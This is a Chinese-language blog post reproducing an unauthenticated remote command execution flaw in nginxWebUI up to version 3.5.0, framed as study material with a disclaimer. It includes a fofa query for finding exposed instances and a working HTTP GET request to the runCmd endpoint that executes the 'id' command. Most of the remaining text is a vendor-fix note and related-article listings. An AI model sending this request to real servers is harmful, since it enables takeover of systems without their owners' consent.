nginxWebUI 存在前台远程命令执行漏洞

最新推荐文章于 2024-04-10 19:10:24 发布
最新推荐文章于 2024-04-10 19:10:24 发布
阅读量191 收藏 1
点赞数
文章标签： 安全 web安全 安全性测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/nnn2188185/article/details/131466633
版权

nginxWebUI 存在前台远程命令执行漏洞

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. nginxWebUI 简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

nginxWebUI是一款图形化管理nginx配置的工具，能通过网页快速配置nginx的各种功能，包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置，配置完成后可以一键生成nginx.conf文件，并控制nginx使用此文件进行启动和重载。

2.漏洞描述

nginxWebUI是一款网页版开源工具。 nginxWebUI存在命令执行漏洞。攻击者可利用漏洞执行系统任意命令。    

CVE编号: 

CNNVD编号: 

CNVD编号:

3.影响版本

nginxWebUI <= 3.5.0

4.fofa查询语句

"nginxWebUI"

5.漏洞复现

漏洞链接：http://127.0.0.1/AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx 漏洞数据包：

GET /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

成功执行 id命令 

6.POC&EXP

关注公众号  南风漏洞复现文库 并回复  漏洞复现39  即可获得该POC工具下载地址：

7.整改意见

厂商尚未提供漏洞修补方案，请关注厂商主页及时更新： https://www.nginxwebui.cn/

8.往期回顾

NocoDB 存在任意文件读取漏洞CVE-2023-35843

海康威视isecure center 综合安防管理平台存在任意文件上传漏洞

sublime88
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
【漏洞复现】nginxWebUI 存在前台远程命令执行漏洞
做自己喜欢的事，并将其发挥到极致！
07-09 2230
nginxWebUI是一款图形化管理nginx配置的工具，能通过网页快速配置nginx的各种功能，包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置，配置完成后可以一键生成nginx.conf文件，并控制nginx使用此文件进行启动和重载。nginxWebUI 存在前台远程命令执行漏洞，攻击者通过该漏洞获取服务器控制权限进而进一步获取敏感数据信息。
NginxWEBUI框架RCE任意命令执行漏洞深度分析（含Poc和EXP）
qq_29616295的博客
08-18 1142
NginxWEBUI任意命令执行漏洞深度解析
nginx文件路径处理远程命令执行漏洞
qq_36028750的博客
03-22 933
nginx文件路径处理远程命令执行漏洞 详细描述： nginx是多平台的HTTP服务器和邮件代理服务器。 nginx可以被配置为以CGI的方式支持PHP的运行，nginx在处理PHP脚本文件路径的解析时存在问题。如果网站允许上传文件，而且上传文件路径可得到，远程攻击者可以利用此漏洞上传包含恶意代码的文件并得到执行，实现以Web进程权限执行任意命令。 解决办法：修改nginx的配置文件。 ①首先修改 fastcgi.conf文件，改为如下内容： if ($request_filename ~* (.*)\.p
Nginx测试中如何实现远程执行程序
100Continue's blogs
12-28 519
需求： 在进行Nginx测试的过程中，经常需要对远程服务器执行一些shell脚本、应用程序或系统命令。一般简单的方法是将测试代码放到所需的远程服务器上来运行，或者使用staf框架来协助远程执行。 但我个人认为，staf框架比较适合用于执行sudo权限的命令，而且他对服务器环境有一些额外的要求，比如远程服务器和本机均必须安装staf，而且执行输出结果也不是很清晰。 那有没有轻量级的远程执行方法...
CVE-2019-11043：PHP-FPM在Nginx特定配置下远程代码执行漏洞
冠霖L的博客
11-03 599
0x00 漏洞介绍 nginx + php-fpm 配置不当，当nginx配置文件中有fastcgi_split_path_info模块，在处理带%0a的请求时，对换行符\n 处置不当使得将PATH_INFO值置为空，从而导致可以通过FCGI_PUTENV与PHP_VALUE相结合，修改当前的php-fpm进程中的php配置，在特殊构造的配置生效的情况下可以触发任意代码执行。 0x01 影响范围 ...
2023攻防演练必修高危漏洞集合.pdf
07-23
nginxWebUI 存在远程命令执行漏洞，攻击者可以通过构造恶意请求执行系统命令，可能会导致服务器被控制和敏感数据泄露。 四、Openfire 身份认证绕过漏洞 (CVE-2023-32315) Openfire 存在身份认证绕过漏洞，攻击者...
2023攻防演练必修高危漏洞集合
08-06
前台远程命令执行漏洞、Nacos 反序列化漏洞、GitLab 路径遍历漏洞、Apache RocketMQ 命令注入漏洞、海康威视 iVMS-8700 综合安防管理平台软件文件上传漏洞、泛微 e-cology9 用户登录漏洞、Foxit PDF Reader/Editor ...
吴林/nginxWebUI
最新发布
07-26
快捷易用的Nginx可视化UI网页管理部署配置工具系统，使用Web网页系统来快速配置部署，支持在线配置你的Nginx/Openresty的反向代理、负载均衡、SSL/HTTPS证书免费签发，自动续签、TCP/UDP 3-4层转发、可以自定义参数...
nginxWebUI-master.zip
12-01
这个压缩包“nginxWebUI-master.zip”包含了实现这一功能的源代码和相关资源。 Nginx是一款高性能的HTTP和反向代理服务器，常用于网站负载均衡和静态内容服务。其轻量级、高效的特性使其在高并发场景下表现优异。而...
2019php漏洞,PHP+Nginx在特定环境下远程代码执行漏洞(CVE-2019-11043)
weixin_33585152的博客
03-10 326
在9 月 14 日至 18 举办的 Real World CTF 中，国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现，向目标服务器 URL 发送 %0a 符号时，服务返回异常，疑似存在漏洞。9 月 26 日，PHP 官方发布漏洞通告，其中指出：使用 Nginx + php-fpm 的服务器，在部分配置下，存在远程代码执行漏洞(CVE-2019-11043)。并且该配置已被...
漏洞复现 || NginxWebUI 后台命令执行&runCmd远程命令执行
失心少年
07-05 762
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。本文所提供的工具仅用于学习，禁止用于其他！nginxWebUI后台提供执行nginx相关命令的接口，由于未对用户的输入进行过滤，导致可在后台执行任意命令。并且该系统权限校验存在问题，导致存在权限绕过，在前台可直接调用后台接口，最终可以达到无条件远程命令执行的效果。1.前台使用GET方式利用如下POC执行id命令。
nginxWebUI 远程命令执行漏洞
m0_49025459的博客
06-29 894
nginxWebUI是一款图形化管理nginx配置的工具，能通过网页快速配置nginx的各种功能，包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置，配置完成后可以一键生成nginx.conf文件，并控制nginx使用此文件进行启动和重载。nginxWebUI后台提供执行nginx相关命令的接口，由于未对用户的输入进行过滤，导致可在后台执行任意命令。
漏洞复现-nginxWebUI runCmd前台远程命令执行漏洞（附漏洞检测脚本）
jjjj1029056414的博客
01-14 839
漏洞复现-nginxWebUI runCmd前台远程命令执行漏洞，附带自己写的poc脚本
nginx常见漏洞解析
热门推荐
qtttgeq的博客
04-06 1万+
0×1HTTP返回包头：就是httpresponsHTTP返回包体：就是请求的具体文件，例如出来个网页资源，网页内嵌套的内容等等。content-range是什么？range是什么？存在于HTTP请求头中，表示请求目标资源的部分内容，例如请求一个图片的前半部分，单位是byte，原则上从0开始，但今天介绍的是可以设置为负数。range的典型应用场景例如：断点续传、分批请求资源。content-range的表达方式：Range:bytes=0-1024 表示访问第0到第1024字节；
nginxWebUI 存在前台远程命令执行漏洞，安装以及复现过程
lianhe20040122的博客
11-07 382
方便快捷易用的Nginx可视化UI网页管理部署配置工具系统，使用Web网页系统来快速配置部署，支持在线配置你的Nginx/Openresty的反向代理、负载均衡、SSL/HTTPS证书免费签发，自动续签、TCP/UDP 3-4层转发、可以自定义参数字段、均衡负载节点、Nginx服务状态监控故障报警、集群配置同步等，快速部署多个或N个Nginx集群节点，支持导入现有Nginx配置文件让你无忧使用。
nginx常见漏洞解析_nginx漏洞(2)，2024年最新【一篇文章搞懂
2401_84181340的博客
04-10 2946
中间件漏洞可以说是最容易被web管理员忽视的漏洞，原因很简单，因为这并不是应用程序代码上存在的漏洞，而是属于一种应用部署环境的配置不当或者使用不当造成的。但是在开发使用过程中也不乏官方程序自身的一些安全问题。我们在处理应急响应事件时经常遇到这么一种情况，客户网站代码是外包的，也就是第三方公司负责开发，而部署可能是由客户内部运维人员负责。暂不说他们对于中间件安全的重视程度与了解程度，只谈发现漏洞后如何处理，便是一团乱。开发商推卸说这并不是代码上的问题，他们完全是按照安全开发流程（SDL）走的，所以跟他无关。
nginx常见漏洞解析_nginx漏洞(3)，2024年最新花三分钟看完这篇文章你就懂了
2301_82242273的博客
04-10 686
本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！
Nginx漏洞
weixin_64623293的博客
08-20 402
首先有Nginx环境。
nginx文件路径处理远程命令执行漏洞(转)
weixin_33834679的博客
01-18 844
转自：http://www.safe.sh/security/?type=detail&id=1606另参考：http://hi.baidu.com/higkoo/item/ed1e0cc9b9d7b3d6964452f1影响版本:Igor Sysoev nginx 0.8.xIgor Sysoev nginx 0.7.xIgor Sysoev nginx 0.6.x...
nginxWebUI RCE反弹shell漏洞
08-16
根据引用和引用，nginxWebUI存在RCE反弹shell漏洞。攻击者可以通过在nginx服务器上添加特定的配置，利用该漏洞执行任意命令并反弹shell。具体的操作步骤如下： 1. 在nginx服务器上搭建一个nginxWebUI，并添加如下...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sublime88

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值